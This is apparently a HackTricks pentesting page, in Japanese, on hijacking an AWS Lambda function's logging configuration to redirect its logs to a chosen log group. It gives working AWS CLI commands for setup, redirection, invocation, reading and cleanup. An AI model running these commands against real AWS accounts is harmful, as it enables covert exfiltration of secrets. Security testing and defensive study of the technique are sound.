# AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection

{{#include ../../../../banners/hacktricks-training.md}}

lambda:UpdateFunctionConfiguration を悪用して高度なログ制御により関数のログを攻撃者が選んだ CloudWatch Logs のロググループへリダイレクトします。これはコードや実行ロールを変更せずに動作します（ほとんどの Lambda ロールはすでに `logs:CreateLogGroup/CreateLogStream/PutLogEvents` を `AWSLambdaBasicExecutionRole` 経由で含んでいます）。関数がシークレットやリクエストボディを出力したり、スタックトレースでクラッシュする場合、新しいロググループからそれらを収集できます。

## 必要な権限
- `lambda:UpdateFunctionConfiguration`
- `lambda:GetFunctionConfiguration`
- `lambda:InvokeFunction` (または既存のトリガーに依存)
- `logs:CreateLogGroup` (関数のロールがそれを持っている場合、多くは不要)
- `logs:FilterLogEvents` (イベントを読むため)

## 手順
1) sink ロググループを作成
```
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
```
2) ターゲット関数のログをリダイレクトする
```
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1
```
`LastUpdateStatus` が `Successful` になるまで待つ:
```
aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
```
3) シンクを呼び出して読み取る
```
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
```
## 影響
- アプリケーション／システムのすべてのログを秘密裏に自分が管理するロググループへリダイレクトし、ログが `/aws/lambda/<fn>` のみに格納されるという想定を回避する。
- Exfiltrate 関数が出力したデータやエラーで露出した機密情報を抜き出す。

## クリーンアップ
```
aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true
```
## 注意
- ログ制御は Lambda の `LoggingConfig` (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel) の一部です。
- デフォルトでは、Lambda はログを `/aws/lambda/<function>` に送信しますが、任意の LogGroup 名を指定できます。許可があれば Lambda（または実行ロール）がそれを作成します。

{{#include ../../../../banners/hacktricks-training.md}}
